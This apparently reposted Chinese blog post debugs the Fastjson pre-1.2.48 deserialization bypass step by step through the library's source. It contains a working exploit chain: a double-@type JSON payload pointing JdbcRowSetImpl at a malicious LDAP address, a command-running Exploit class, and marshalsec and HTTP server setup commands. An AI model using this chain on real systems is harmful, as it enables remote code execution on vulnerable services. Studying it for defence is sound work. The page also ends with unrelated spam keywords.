<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】Fastjson <1.2.48 入門調試

    VSole2022-06-10 08:40:23

    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。

    目前分析Fastjson漏洞的文章很多,每次分析文章出來后,都是過一眼就扔一邊了。正好最近在學習反序列化的內容,對<1.2.48版本的漏洞再做一次分析,借鑒和學習了很多大佬的文章, 這次盡量自己來做

    環境搭建

    使用Idea搭建一個空的maven項目,并且添加1.2.47版本的依賴

            
            
                com.alibaba
                fastjson
                1.2.47
            
        
    

    新建一個com.examplePackage并在其目錄下創建一個FastjsonExp的類

    //FastjsonExp.javapackage com.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;public class FastjsonExp {    public static void main(String[] args) {
            String payload="{n" +                "    "rand1": {n" +                "        "@type": "java.lang.Class", n" +                "        "val": "com.sun.rowset.JdbcRowSetImpl"n" +                "    }, n" +                "    "rand2": {n" +                "        "@type": "com.sun.rowset.JdbcRowSetImpl", n" +                "        "dataSourceName": "ldap://localhost:8088/Exploit", n" +
                    "        "autoCommit": truen" +                "    }n" +                "}";
            JSON.parse(payload);
        }
    }
    

    java目錄新建一個Exploit.java,并編譯

    //Exploit.javaimport java.io.IOException;public class Exploit {    public Exploit() throws IOException {
            Runtime.getRuntime().exec("galculator");
        }
    }
    

    在編譯的Exploit.class類下,開啟一個HTTP服務python -m SimpleHTTPServer

    使用marshalsec創建一個ldap接口:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8088

    至此,環境搭建完畢

    報錯

    Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
        at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:162)
        at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:124)
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:1078)
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:773)
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1283)
        at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
        at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:384)
        at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:544)
        at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1356)
        at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1322)
        at com.alibaba.fastjson.JSON.parse(JSON.java:152)
        at com.alibaba.fastjson.JSON.parse(JSON.java:162)
        at com.alibaba.fastjson.JSON.parse(JSON.java:131)
        at com.example.FastjsonExp.main(FastjsonExp.java:29)
    Caused by: java.lang.reflect.InvocationTargetException
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:497)
        at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:110)
        ... 14 more
    Caused by: java.sql.SQLException: JdbcRowSet (connect) JNDI unable to connect
        at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
        at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
        ... 19 more
    

    調試

    在報錯的各個文件處,先設斷點:

    首先進入的是JSON.java下的public static Object parse(String text), 此時DEFAULT_PARSER_FEATURE=989

    接著是

    //features=989,  ParserConfig.getGlobalInstance()=
        public static Object parse(String text, int features) {        return parse(text, ParserConfig.getGlobalInstance(), features);
        }
    

    ParserConfig.getGlobalInstance()如下:com.alibaba.fastjson.parser.ParserConfig

    其中deserializers變量為IdentityHashMap類,有一些可反序列化的類名,還可以看到autoTypeSupport=false

    及定義的denyHashCodes,即黑名單配置

    public static Object parse(String text, ParserConfig config, int features)函數中

    public static Object parse(String text, ParserConfig config, int features) {        if (text == null) {            return null;
            }
            DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();        return value;
        }
    

    首先聲明了一個DefaultJSONParser,并調用其parse函數,所以主要的工作應該都是在這里完成的.

    初始化類時,先加載了一些基礎類:

    static {
            Class[] classes = new Class[] {                boolean.class,                byte.class,
                    ...
                    String.class
            };        for (Class clazz : classes) {
                primitiveClasses.add(clazz);
            }
        }
    

    調用parser.parse()后, 繼續調用了parse(Object fieldName)函數

    //DefaultJSONParser.java
        public Object parse(Object fieldName) {        final JSONLexer lexer = this.lexer;        switch (lexer.token()) {            case SET:
                    lexer.nextToken();
                    HashSet set = new HashSet();
                    parseArray(set, fieldName);                return set;            case TREE_SET:
                    lexer.nextToken();
                    TreeSet treeSet = new TreeSet();
                    parseArray(treeSet, fieldName);                return treeSet;            case LBRACKET:
                    JSONArray array = new JSONArray();
                    parseArray(array, fieldName);                if (lexer.isEnabled(Feature.UseObjectArray)) {                    return array.toArray();
                    }                return array;            case LBRACE:
                    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));                return parseObject(object, fieldName);//            case LBRACE: {//                Map map = lexer.isEnabled(Feature.OrderedField)//                        ? new LinkedHashMap()//                        : new HashMap();//                Object obj = parseObject(map, fieldName);//                if (obj != map) {//                    return obj;//                }//                return new JSONObject(map);//            }
                case LITERAL_INT:
                    Number intValue = lexer.integerValue();
                    lexer.nextToken();                return intValue;            case LITERAL_FLOAT:
                    Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
                    lexer.nextToken();                return value;            case LITERAL_STRING:
                    String stringLiteral = lexer.stringVal();
                    lexer.nextToken(JSONToken.COMMA);                if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                        JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);                    try {                        if (iso8601Lexer.scanISO8601DateIfMatch()) {                            return iso8601Lexer.getCalendar().getTime();
                            }
                        } finally {
                            iso8601Lexer.close();
                        }
                    }                return stringLiteral;            case NULL:
                    lexer.nextToken();                return null;            case UNDEFINED:
                    lexer.nextToken();                return null;            case TRUE:
                    lexer.nextToken();                return Boolean.TRUE;            case FALSE:
                    lexer.nextToken();                return Boolean.FALSE;            case NEW:
                    lexer.nextToken(JSONToken.IDENTIFIER);                if (lexer.token() != JSONToken.IDENTIFIER) {                    throw new JSONException("syntax error");
                    }
                    lexer.nextToken(JSONToken.LPAREN);
                    accept(JSONToken.LPAREN);                long time = ((Number) lexer.integerValue()).longValue();
                    accept(JSONToken.LITERAL_INT);
                    accept(JSONToken.RPAREN);                return new Date(time);            case EOF:                if (lexer.isBlankInput()) {                    return null;
                    }                throw new JSONException("unterminated json string, " + lexer.info());            case HEX:                byte[] bytes = lexer.bytesValue();
                    lexer.nextToken();                return bytes;            case IDENTIFIER:
                    String identifier = lexer.stringVal();                if ("NaN".equals(identifier)) {
                        lexer.nextToken();                    return null;
                    }                throw new JSONException("syntax error, " + lexer.info());            case ERROR:            default:                throw new JSONException("syntax error, " + lexer.info());
            }
        }其中this.lexer為JSONScanner類,如下:
    


    lexer.token()=12, JSONToken中定義如下: 即lexer.token='{'
    public final static int ERROR                = 1;    //
        public final static int LITERAL_INT          = 2;    //
        public final static int LITERAL_FLOAT        = 3;    //
        public final static int LITERAL_STRING       = 4;    //
        public final static int LITERAL_ISO8601_DATE = 5;    public final static int TRUE                 = 6;    //
        public final static int FALSE                = 7;    //
        public final static int NULL                 = 8;    //
        public final static int NEW                  = 9;    //
        public final static int LPAREN               = 10; // ("("),
        //
        public final static int RPAREN               = 11; // (")"),
        //
        public final static int LBRACE               = 12; // ("{"),
        //
        public final static int RBRACE               = 13; // ("}"),
        //
        public final static int LBRACKET             = 14; // ("["),
        //
        public final static int RBRACKET             = 15; // ("]"),
        //
        public final static int COMMA                = 16; // (","),
        //
        public final static int COLON                = 17; // (":"),
        //
        public final static int IDENTIFIER           = 18;    //
        public final static int FIELD_NAME           = 19;    public final static int EOF                  = 20;    public final static int SET                  = 21;    public final static int TREE_SET             = 22;    public final static int UNDEFINED            = 23; // undefined
        public final static int SEMI                 = 24;    public final static int DOT                  = 25;    public final static int HEX                  = 26;
    繼續調用在case LBRACE:分支: lexer.isEnabled(Feature.OrderedField)=false
    //
        case LBRACE:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));        return parseObject(object, fieldName);
    繼續調用parseObject(object, fieldName);在其中聲明了一個循環,來掃描字符串
            Map map = object instanceof JSONObject ? ((JSONObject) object).getInnerMap() : object;        boolean setContextFlag = false;        for (;;) {
    如果判斷目前的char='"',那么即將獲取的為key
    if (ch == '"') {
                        key = lexer.scanSymbol(symbolTable, '"');
                        lexer.skipWhitespace();
    獲取key后判斷是否有默認的DEFAULT_TYPE_KEY即:@type
                    if (key == JSON.DEFAULT_TYPE_KEY
                            && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        String typeName = lexer.scanSymbol(symbolTable, '"');                    if (lexer.isEnabled(Feature.IgnoreAutoType)) {                        continue;
                        }
    繼續判斷是否為$ref
    if (key == "$ref"
                            && context != null
                            && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        lexer.nextToken(JSONToken.LITERAL_STRING);
    在判斷完key后, 進入設置content的環節
                            ParseContext contextR = setContext(object, fieldName);                        if (context == null) {
                                context = contextR;
                            }
                            setContextFlag = true;
    繼續調用,解析嵌套對象, 此時key=rand1
    if (!objParsed) {
                obj = this.parseObject(input, key);
            }
    解析,嵌套對象時,此時獲取的key=@type, 滿足key == JSON.DEFAULT_TYPE_KEY, 判斷條件lexer.isEnabled(Feature.IgnoreAutoType)=false. 此時object對象為JSONObject而typeName=java.lang.Class, 所以進入了config.checkAutoType分支, lexer.getFeatures()=989
    if (object != null
                    && object.getClass().getName().equals(typeName)) {
                clazz = object.getClass();
            } else {
                clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
            }
    checkAutoType
    在ParserConfig文件中, 其checkAutoType函數有多個判斷條件, 第一個條件為typeName的長度在3-128之間,
    第二個判斷條件, 為是否支持的類型, 通過了一個計算:
    final long BASIC = 0xcbf29ce484222325L;    final long PRIME = 0x100000001b3L;    final long h1 = (BASIC ^ className.charAt(0)) * PRIME;    if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }    if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {        throw new JSONException("autoType is not support. " + typeName);
        }    if (autoTypeSupport || expectClass != null) {
            ...        //這里會使用二分法來查詢白名單,和黑名單,但是這里被繞過了,
            if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);            if (clazz != null) {                return clazz;
                }
            }        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {            throw new JSONException("autoType is not support. " + typeName);
            }
        }
    在判斷完以后,接著去檢測是否在map里,這里應該是參考文章提到的緩存
    if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }
    


    在mapping對象中,未找到的話,調用
    if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
    此時進入了IdentityHashMap類,即前邊提到的ParserConfig.getGlobalInstance()中deserializers的類
    相當于配置白名單。根據調試,第一個@type對象的java.lang.Class中deserializers.findClass(typeName)返回,
    繼續掃描字符串
    在第377行: ObjectDeserializer deserializer = config.getDeserializer(clazz);
    跟進后在 objVal這一行, 獲取了值com.sun.rowset.JdbcRowSetImpl
            parser.accept(JSONToken.COLON);
            objVal = parser.parse();
            parser.accept(JSONToken.RBRACE);
    繼續下去是一些類型的判斷如URI.class, File.class等 ,最后在clazz==Class.class這里
            
    if (clazz == Class.class) {            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
            }
    其中strVal為com.sun.rowset.JdbcRowSetImpl。
    在TypeUtil.loadClass中, 判斷不是[和L開頭的字符串后,進行下面的分支, 此時如果cache為true的話,那么就將該類放到mapping對象中
    if(classLoader != null){
            clazz = classLoader.loadClass(className);        if (cache) {
                mappings.put(className, clazz);
            }        return clazz;
        }
    而在TypeUtils中,調用該函數時, cache默認為true
    public static Class loadClass(String className, ClassLoader classLoader) {        return loadClass(className, classLoader, true);
        }
    繼續上述的過程,在判斷rand2時,同樣到了clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
    此時由上一步的mapping.put, 在這里獲取到了class類, 為com.sun.rowset.JdbcRowSetImpl
    if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }    if (clazz != null) {        if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }        return clazz;
        }
    并且class!=null且expectClass==null, 直接return clazz,并未走到最后的if(!autoTypeSupport)分支,繞過了
    接著進入了第一步設置的斷點處
    JavaBeanDeserializer.java
    protected Object parseRest(DefaultJSONParser parser
                , Type type
                , Object fieldName
                , Object instance
                , int features
                , int[] setFlags) {
            Object value = deserialze(parser, type, fieldName, instance, features, setFlags);        return value;
        }
    在下列的循環中,遍歷fieldInfo的值,如果在字符串有的,配置了變量的值
        String typeKey = beanInfo.typeKey;    for (int fieldIndex = 0;; fieldIndex++) {
            String key = null;
            FieldDeserializer fieldDeser = null;
            FieldInfo fieldInfo = null;
    最后調用到fieldDeserializer.parseField(parser, object, objectType, fieldValues);
    進入DefaultFieldDeserializer.java類,其parseField函數中,在最后調用的是
    if (object == null) {
                fieldValues.put(fieldInfo.name, value);
            } else {
                setValue(object, value);
            }
    此時object為:jdbcRowSetImpl類,而value為ldap://localhost:8080/Exploit
    繼續下一輪,當這里為fieldInfo.name=autoCommit而value=true時,
    在FieldDeserializer類中,調用其setValue函數,最后會執行到
            method.invoke(object, value);
    此時method=setAutoCommit, value=true
    進入jdbcRowSetImpl類,其this.conn為null, 且dataSource=ldap://localhost:8088/Exploit
    執行this.connect()會請求到惡意的ldap地址,造成命令執行
    public void setAutoCommit(boolean var1) throws SQLException {        if (this.conn != null) {            this.conn.setAutoCommit(var1);
            } else {            this.conn = this.connect();            this.conn.setAutoCommit(var1);
            }
        }
    至此,分析完畢
    總結: 因為用了兩次@type類型,第一次的時候java.lang.Class未在黑名單中,且通過序列化,將jdbcRowSetImpl類添加至了mappings對象,其作用是緩存, 在第二次解析到@type對象時, 直接在mappings對象中獲取了類,從而繞過了黑名單的檢測
    導致了這一漏洞的發生。
    
    stringfastjson
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    漏洞分析花了蠻多時間
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    fastjson的漏洞主要都是因為AutoType造成的,后續的修復和其他版本的繞過都圍繞此來進行。
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    java版本: java version "1.8.0_131" Java(TM) SE Runtime Environment (build 1.8.0_131-b11) Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    Spring MVC是一種基于Java的實現了Web MVC設計模式的請求驅動類型的輕量級Web框架,即使用了MVC架構模式的思想,將web層進行職責解耦,基于請求驅動指的就是使用請求-響應模型,框架的目的就是幫助我們簡化開發,Spring Web MVC也是要簡化我們日常Web開發的
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类